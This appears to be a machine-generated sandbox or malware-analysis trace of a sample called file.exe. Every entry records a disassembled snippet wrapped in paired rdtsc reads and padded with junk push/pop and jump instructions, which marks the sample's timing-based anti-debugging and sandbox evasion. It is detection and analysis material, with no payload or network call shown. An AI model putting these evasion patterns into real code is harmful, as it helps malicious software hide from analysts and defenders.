Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF118 second address: 3AF159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9047A81D9h 0x00000009 popad 0x0000000a pop ebx 0x0000000b pushad 0x0000000c jl 00007FE9047A81DDh 0x00000012 jmp 00007FE9047A81D7h 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ACFD2 second address: 3ACFDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD292 second address: 3AD2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9047A81D2h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FE9047A81D7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD934 second address: 3AD93B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD93B second address: 3AD951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 jg 00007FE9047A81D2h 0x0000000e jl 00007FE9047A81C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ADC11 second address: 3ADC4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE90543D6C8h 0x00000009 pop edi 0x0000000a jg 00007FE90543D6B8h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 pushad 0x00000014 jmp 00007FE90543D6BCh 0x00000019 push eax 0x0000001a push edx 0x0000001b jp 00007FE90543D6B6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ADF2B second address: 3ADF2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ADF2F second address: 3ADF46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE90543D6BCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE242 second address: 3AE249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE249 second address: 3AE264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007FE90543D6B6h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007FE90543D6BBh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE53B second address: 3AE572 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FE9047A81CCh 0x0000000f jc 00007FE9047A81C6h 0x00000015 jmp 00007FE9047A81CCh 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007FE9047A81C6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30C755 second address: 30C759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30C759 second address: 30C763 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE9047A81C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEABC second address: 3AEAC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEAC4 second address: 3AEACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE9047A81C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEACE second address: 3AEAEA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FE90543D6BCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEAEA second address: 3AEAF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEDE0 second address: 3AEDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE90543D6B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEDEC second address: 3AEDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEDF3 second address: 3AEE0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE90543D6C3h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEE0C second address: 3AEE1B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE9047A81C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30FBDD second address: 30FC03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C5h 0x00000007 pushad 0x00000008 jns 00007FE90543D6B6h 0x0000000e jp 00007FE90543D6B6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30FC03 second address: 30FC0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30FC0E second address: 30FC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30FC1B second address: 30FC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8F07 second address: 3B8F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8120 second address: 3B812D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B812D second address: 3B813D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 ja 00007FE90543D6BEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8396 second address: 3B839A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B839A second address: 3B839E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B839E second address: 3B83AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FE9047A81C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B84F2 second address: 3B84F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B88AB second address: 3B88CD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE9047A81D4h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B88CD second address: 3B88D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B88D3 second address: 3B88F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jne 00007FE9047A81C6h 0x00000014 popad 0x00000015 push edi 0x00000016 pushad 0x00000017 popad 0x00000018 jnp 00007FE9047A81C6h 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8A58 second address: 3B8A5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8A5C second address: 3B8A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8A68 second address: 3B8A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8A6E second address: 3B8A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF577 second address: 3BF57B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFA9E second address: 3BFAA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFAA2 second address: 3BFABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FE90543D6BCh 0x0000000c jng 00007FE90543D6B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007FE90543D6B8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFC05 second address: 3BFC13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFDD5 second address: 3BFDDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE90543D6B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFDDF second address: 3BFDE7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BFDE7 second address: 3BFE04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FE90543D6B6h 0x00000009 jmp 00007FE90543D6C0h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C00A3 second address: 3C00B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FE9047A81C6h 0x0000000a jnc 00007FE9047A81C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C00B3 second address: 3C00B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C0B03 second address: 3C0B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF116 second address: 3BF13B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE90543D6C9h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF13B second address: 3BF152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE9047A81D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7885 second address: 3C788B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C788B second address: 3C7891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C726C second address: 3C7298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FE90543D6C6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jns 00007FE90543D6BCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7298 second address: 3C729C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C729C second address: 3C72C9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE90543D6C0h 0x00000008 jmp 00007FE90543D6BAh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FE90543D6C7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C73E9 second address: 3C73EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7547 second address: 3C7585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE90543D6B6h 0x0000000a pop edx 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE90543D6C9h 0x00000013 jmp 00007FE90543D6C7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7585 second address: 3C758B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C758B second address: 3C758F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8F9A second address: 3C8FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 jnl 00007FE9047A81C6h 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8FAD second address: 3C8FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8FB3 second address: 3C8FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8FB7 second address: 3C8FBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8FBB second address: 3C8FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE9047A81C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ebx 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8FD3 second address: 3C8FFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C1h 0x00000007 jmp 00007FE90543D6BEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D75D8 second address: 3D75E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D75E6 second address: 3D75F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D75F0 second address: 3D75F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D75F6 second address: 3D75FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D709D second address: 3D70AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9047A81CAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D9E5B second address: 3D9E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE90543D6B6h 0x0000000a jne 00007FE90543D6B6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D9E6C second address: 3D9E8C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE9047A81CAh 0x00000008 jo 00007FE9047A81C8h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007FE9047A81CCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D9E8C second address: 3D9EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE90543D6C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D9EA3 second address: 3D9EB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE9047A81D1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D9EB9 second address: 3D9EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E77DE second address: 3E7803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE9047A81C6h 0x0000000a jmp 00007FE9047A81D8h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7664 second address: 3E7668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7668 second address: 3E766C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E766C second address: 3E7689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FE90543D6C0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7689 second address: 3E769A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3614 second address: 3F361E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE90543D6B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F361E second address: 3F3638 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE9047A81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE9047A81CCh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F38D7 second address: 3F38DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F38DB second address: 3F3905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9047A81D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FE9047A81D0h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3905 second address: 3F390B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3A6E second address: 3F3A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3A74 second address: 3F3A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3A78 second address: 3F3A82 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE9047A81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3A82 second address: 3F3A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3A88 second address: 3F3A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE9047A81C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F3D3A second address: 3F3D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F49AA second address: 3F49B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F49B2 second address: 3F49B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F49B7 second address: 3F49C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FE9047A81C6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F87CF second address: 3F87EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FE90543D6C0h 0x0000000e pop edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
